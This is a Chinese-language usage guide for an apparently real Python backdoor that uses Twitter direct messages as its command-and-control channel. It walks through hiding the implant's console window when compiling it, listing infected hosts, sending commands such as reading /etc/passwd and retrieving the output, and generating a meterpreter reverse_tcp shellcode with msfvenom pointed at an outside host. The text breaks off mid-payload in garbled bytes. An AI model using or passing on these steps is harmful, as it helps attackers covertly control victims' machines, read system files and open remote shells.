一個(gè)基于Python的隱匿后門可以將Twitter的私信作為命令和控制(C&C)服務(wù)器。這一項(xiàng)目顯然是受到了Gcat后門使用Gmail賬戶作為C&C服務(wù)器的啟發(fā)。
設(shè)置
你需要做的準(zhǔn)備工作:
·一個(gè)推特賬戶(建一個(gè)專用賬戶!千萬(wàn)不要使用你的個(gè)人推特!)
·在推特注冊(cè)一個(gè)具有讀取、編寫(xiě)以及直接信息權(quán)限的應(yīng)用
安裝依賴包:
$ pip install -r requirements.txt
repo包含以下兩個(gè)文件:
·twittor.py 這個(gè)是客戶端文件
·implant.py 要真正部署的后門文件
在這兩個(gè)文件中,編輯訪問(wèn)TOKEN部分并添加一個(gè)你之前申請(qǐng)推特APP時(shí)生成的訪問(wèn)令牌:
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
這里簡(jiǎn)單說(shuō)明一下,你可能想用Pyinstaller將implant.py編譯為一個(gè)可執(zhí)行程序,為了在使用Pyinstaller的時(shí)候移除控制臺(tái)窗口,你可以使用 –noconsole –onefile 參數(shù)。
用法
啟動(dòng)腳本,開(kāi)始運(yùn)行客戶端:
$ python twittor.py
你會(huì)進(jìn)入一個(gè)提供了一些命令的“交互式”shenll:
$ help
refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve
!cmd
!shellcode
help - print this usage
exit - exit the client
$
·一旦你在一些系統(tǒng)上安裝了后門,你就可以使用列表命令檢查可用的客戶端:
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
輸出信息中用于標(biāo)識(shí)肉雞的唯一ID的是系統(tǒng)的MAC地址,同時(shí)也為你提供了正在運(yùn)行已植入木馬的操作系統(tǒng)信息。如圖是一個(gè)Linux主機(jī)。
·這里我們發(fā)出一個(gè)命令到已植入木馬的主機(jī):
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$
這里我們想讓B7:76:1F:0B:50:B7 這臺(tái)主機(jī)執(zhí)行cat /etc/passwd 命令,輸出信息中的jobid可以讓用來(lái)檢索命令輸出結(jié)果。
·現(xiàn)在我們要獲取命令執(zhí)行結(jié)果了!
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
在這種情況下使用!retrieve [jobid]命令就可以獲取到命令執(zhí)行結(jié)果。
·更新結(jié)果
為了獲取新的肉雞或命令輸出信息,或者想強(qiáng)制客戶端刷新命令執(zhí)行結(jié)果,可以使用refresh命令。
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$
使用refresh命令將會(huì)發(fā)送一個(gè)PING請(qǐng)求,等待回復(fù)(大約10秒左右)。私信消息被解析后,肉雞列表和命令列表將會(huì)刷新,其中也包括輸出命令。
·檢索過(guò)去的命令
正如前面所說(shuō),(之前的)命令將會(huì)從老的私信消息進(jìn)行檢索(最多是200條),通過(guò)使用list_commands命令你便可以檢索或者看到這些內(nèi)容。
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
·運(yùn)行shellcode(Windows主機(jī))
此選項(xiàng)可能是為了方便檢索meterpreter會(huì)話,如果有興趣可以看一下這篇文章,很有幫助。
創(chuàng)建你的meterpreter Shellcode,就像下面這樣:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python(...)Payload size: 299 bytes
buf = ""
buf += "üè?